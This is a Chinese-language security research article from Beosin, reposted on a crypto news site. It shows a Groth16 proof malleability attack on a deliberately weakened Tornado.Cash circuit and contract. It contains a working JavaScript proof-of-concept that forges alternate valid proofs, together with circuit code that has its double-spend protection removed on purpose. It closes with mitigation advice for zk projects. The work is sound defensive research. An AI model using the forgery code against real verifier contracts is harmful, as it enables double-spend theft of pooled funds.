Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

fffmCQ.jpg

zk 项目方看过来

作者:Saya,Bryce,Beosin 安全研究专家

在上篇文章里,我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞,本文中我们将以 Tornado.Cash 项目为例,魔改其部分电路和代码,介绍延展性攻击流程以及该项目中对应的防范措施,希望其他 zkp 项目方也引起注意。

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

其中,Tornado.Cash 使用 snarkjs 库进行开发,同样基于如下开发流程,后续就直接进行介绍,不熟悉该库的请阅读本系列第一篇文章。(Beosin | 深度剖析零知识证明 zk-SNARK 漏洞:为什么零知识证明系统并非万无一失?

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击
(图源:https://docs.circom.io/)

1 Tornado.Cash 架构

Tornado.Cash 的交互流程中主要包含 4 个实体:

  • User:使用该 DApp 进行混币器隐私交易,包括存、取款。
  • Web page:DApp 的前端网页,网页上包含一些用户按钮。
  • Relayer:为防止链上节点记录发起隐私交易的 ip 地址等信息,该服务器会代替用户重放交易,进一步增强隐私性。
  • Contract:包含一个代理合约 Tornado.Cash Proxy,该代理合约会根据用户存取款的金额选择指定的 Tornado 池子进行后续的存取款操作。目前已存在 4 个池子,金额分别为:0.1、1、10、100。

User 首先在 Tornado.Cash 的前端网页上进行对应操作,触发存款或取款交易,接着由 Relayer 将其交易请求转发到链上的 Tornado.Cash Proxy 合约,并根据交易金额转发到对应的 Pool 中,最终进行存款和取款等处理,具体的架构如下:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

Tornado.Cash 作为一个混币器,其具体业务功能分为两部分:

  • deposit:当用户进行存款交易时,首先在前端网页上选择存入的代币 (BNB、ETH 等) 和对应的数额,为了更好的确保用户的隐私性,只能存入四种金额数量;
Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击
图源:<https://ipfs.io/ipns/tornadocash.eth/>

接着服务器会生成两个 31 字节的随机数 nullifier、secret,将其拼接后进行 pedersenHash 运算即可得到 commitment,将 nullifier+secret 加上前缀作为 note 返回给用户,note 如下图:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击
  • 随后发起一笔 deposit 交易将 commitment 等数据发送到链上 Tornado.Cash Proxy 合约中,代理合约根据 deposit 的金额将数据转发至对应的 Pool 中,最后 Pool 合约将 commitment 作为叶子结点插入到 merkle tree,并将计算出的 root 存储在 Pool 合约中。
  • withdraw:当用户进行取款交易时,首先在前端网页上输入 deposit 时返回的 note 数据和收款地址;
Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击
图源:https://ipfs.io/ipns/tornadocash.eth/
  • 接着服务器会在链下检索出所有 Tornadocash 的 deposit 事件,提取其中的 commitment 构建链下的 Merkle tree,并根据用户给出的 note 数据 (nullifier+secret) 生成 commitment 并生成对应的 Merkle Path 和对应的 root,并作为电路输入得到零知识 SNARK proof;最后,再发起一笔 withdraw 交易到链上的 Tornado.Cash Proxy 合约中,接着根据参数跳转到对应的 Pool 合约中验证证明,将钱打入用户指定的接收者地址。

其中,Tornado.Cash 的 withdraw 核心其实就是在不暴露用户持有的 nullifier、secret 的情况下,证明某个 commitment 存在于 Merkle tree 上,具体的默克尔树结构如下:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

2 Tornado.Cash 魔改漏洞版

2.1 Tornado.Cash 魔改

针对第一篇文章 Groth16 延展性攻击原理,我们知道攻击者使用相同的 nullifier、secret 其实可以生成多个不同的 Proof,那么如果开发者没有考虑到 Proof 重放造成的双花攻击,就会威胁到项目资金。在对 Tornado.Cash 进行魔改之前,本文先介绍一下 Tornado.Cash 最终处理 withdraw 的 Pool 中代码:

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );
nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }

上图中为了防止攻击者使用同一个 Proof 进行双花攻击,而又不暴露 nullifier、secret,Tornado.Cash 在电路中增加了一个公共信号 nullifierHash,它是由 nullifier 进行 Pedersen 哈希得到,可以作为参数传到链上,Pool 合约再使用该变量标识一个正确的 Proof 是否已经被使用过。但是如果项目方不采用修改电路的方式,而是直接以记录 Proof 方式来防止双花,毕竟这样做可以减少电路约束,从而节省开销,但是能否达到目的呢?
对于此猜想,本文将删除电路中新增的 nullifierHash 公共信号,并将合约校验改为 Proof 校验。由于 Tornado.Cash 在每次 withdraw 时都会获取所有的 deposit 事件组建 merkle tree 再校验生成的 root 值是否在最近生成的 30 个之内,整个过程太过麻烦,因此本文电路也将删除 merkleTree 电路,仅仅留下 withdraw 部分的核心电路,具体电路如下:

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// computes Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; signal input secret; signal output commitment; // signal output nullifierHash; // delete
component commitmentHasher = Pedersen(496); // component nullifierHasher = Pedersen(248); component nullifierBits = Num2Bits(248); component secretBits = Num2Bits(248);
nullifierBits.in <== nullifier; secretBits.in <== secret; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // delete commitmentHasher.in[i] <== nullifierBits.out[i]; commitmentHasher.in[i + 248] <== secretBits.out[i]; }
commitment <== commitmentHasher.out[0]; // nullifierHash <== nullifierHasher.out[0]; // delete}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits signal output commitment; signal input recipient; // not taking part in any computations signal input relayer; // not taking part in any computations signal input fee; // not taking part in any computations signal input refund; // not taking part in any computations signal input nullifier; signal input secret; component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment;
// Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints // Squares are used to prevent optimizer from removing those constraints signal recipientSquare; signal feeSquare; signal relayerSquare; signal refundSquare;
recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;
}
component main = Withdraw(20);

注意:我们在实验过程中发现,TornadoCash 在 GitHub 中的最新版代码里(https://github.com/tornadocash/tornado-core), withdraw 电路缺乏输出信号,需要人工修正才能正确运行。
根据上述修改后的电路,使用 snarkjs 库等按照本文开始给出的开发流程逐步进行,生成如下正常 Proof,记为 proof1:

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}

2.2 实验验证

2.2.1 验证证明 — circom 生成的默认合约

首先,我们使用 circom 生成的默认合约进行验证,该合约由于根本没有记录任何已经使用过的 Proof 相关信息,攻击者可多次重放 proof1 造成双花攻击。在下列实验中,可以针对同一电路的同一个 input,无限次重放 proof,均能通过验证。

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

下图是使用 proof1 在默认合约中证明验证通过的实验截图,包含上篇文章中使用的 Proof 参数 A、B、C,以及最终的结果:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

下图是我们使用同样的 proof1 多次调用 verifyProof 函数进行证明验证的结果,实验发现针对同一 input,无论攻击者使用多少次 proof1 进行验证,都可以通过:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

当然在我们在 snarkjs 原生的 js 代码库中进行测试,也并未对已经使用过的 Proof 进行防范,实验结果如下:

2.2.2 验证证明 — 普通防重放合约

针对 circom 生成的默认合约中的重放漏洞,本文记录已使用过的正确 Proof(proof1) 中的一个值,以达到防止使用验证过的 proof 进行重放攻击的目的,具体如下图所示:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

继续使用 proof1 进行验证,实验发现在使用同样 Proof 进行二次验证时,交易 revert 报错:”The note has been already spent”,结果如下图所示:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

但是此时虽然达到了防止普通 proof 重放攻击的目的,但是前文介绍过 groth16 算法存在延展性漏洞问题,这种防范措施仍可以被绕过。于是下图我们构造 PoC,按照第一篇文章中的算法针对同一 input 生成伪造的 zk-SNARK 证明,实验发现仍然能通过验证。生成伪造证明 proof2 的 PoC 代码如下:

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;
groth16_exp();async function groth16_exp(){ let inputA = "7"; let inputB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// 2. 读取 string 后转化为 int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); console.log("The proof:",proof);
// 生成逆元,生成的逆元必须在 F1 域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e("123456") const invX = F.inv(X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("The timesScalar is:",F.mul(X,invX))
// 读取椭圆曲线 G1、G2 点 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("The curve is:",vKey); const curve = await curves.getCurveFromName(vKey.curve);
const G1 = curve.G1; const G2 = curve.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
// 将生成的 G1、G2 点转化为 proof console.log("proof.pi_a:",proof.pi_a); console.log("proof.new_pi_a:",proof.new_pi_a) console.log("proof.new_pi_b:",proof.new_pi_b)
}

生成的伪造证明 proof2,具体如下图所示:

proof.pi_a: [  12731245758885665844440940942625335911548255472545721927606279036884288780352n,  11029567045033340566548367893304052946457319632960669053932271922876268005970n,  1n]proof.new_pi_a: [  3268624544870461100664351611568866361125322693726990010349657497609444389527n,  21156099942559593159790898693162006358905276643480284336017680361717954148668n,  1n]proof.new_pi_b: [  [    2017004938108461976377332931028520048391650017861855986117340314722708331101n,    6901316944871385425597366288561266915582095050959790709831410010627836387777n],  [    17019460532187637789507174563951687489832996457696195974253666014392120448346n,    7320211194249460400170431279189485965933578983661252776040008442689480757963n],  [ 1n, 0n ]]

再次使用该参数调用 verifyProof 函数进行证明验证时,实验发现同一 input 的情况下使用 proof2 验证再次通过了,具体如下所示:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

虽然伪造的证明 proof2 也只能再使用一次,但由于针对同一 input 的伪造的证明存在几乎无限多个,因此可能造成合约资金被无限次被提取。

本文同样使用 circom 库的 js 代码进行测试,实验结果 proof1 和伪造的 proof2 都可以通过验证:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

2.2.3 验证证明 — Tornado.Cash 放重放合约

经历了那么多次失败,难道没有一种方式可以一劳永逸吗?此处按照 Tornado.Cash 中通过校验原始 input 是否已经被使用的做法,本文继续修改合约代码如下:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

需要说明的是,为了展示 groth16 算法延展性攻击的防范简单措施,**本文采取直接记录原始电路 input 的方式,但是这不符合零知识证明的隐私原则,电路输入应当是保密的。**比如 Tornado.Cash 中 input 都是 private,需要重新新增一个 public input 标识一条 Proof。本文由于电路中没有新增标识,所以隐私性相对于 Tornado.Cash 来说较差,仅作为实验 Demo 展示结果如下:

Beosin 硬核研究:深入探究 Tornado.Cash,揭示 zkp 项目的延展性攻击

可以发现,上图中使用同一 input 的 Proof,只有第一次可以通过验证 proof1,随后该 proof1 和伪造的 proof2 都不能通过校验。

3 总结和建议

本文主要通过魔改 TornadoCash 的电路和使用开发者常用的 Circom 默认生成的合约验证了重放漏洞的真实性和危害,并进一步验证了使用在合约层面的普通措施可以防护重放漏洞,但无法防止 groth16 的延展性攻击,对此,我们建议零知识证明的项目在项目开发时,应注意:

  • 与传统 DApp 使用地址等唯一数据生成节点数据的方式不同,zkp 项目通常是使用组合随机数的方式生成 Merkle tree 节点,需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中,或者是同一叶子节点数据存在多个 Merkle Proof 混淆业务逻辑的情况。
  • zkp 项目方通常使用 mapping 记录已使用的过的 Proof,防范双花攻击。需要注意使用 Groth16 开发时,由于存在延展性攻击,因此记录需使用节点原始数据,而不能仅仅使用 Proof 相关数据标识。
  • 复杂电路可能存在电路不确定、欠约束等问题,合约验证时条件不完整,实现逻辑存在漏洞等问题,我们强烈建议项目方在项目上线时,寻求对电路和合约都有一定研究的安全审计公司进行全面审计,尽可能的保证项目安全。

声明:该文观点仅代表作者本人,与炒币网无关。炒币网系信息发布平台,仅提供信息存储空间服务。对所包含内容的准确性、可靠性或者完整性不提供任何明示或暗示的保证,并不对文章观点负责。 提示:投资有风险,入市须谨慎。本资讯仅供参阅,不作为投资理财建议。

发表评论

登录后才能评论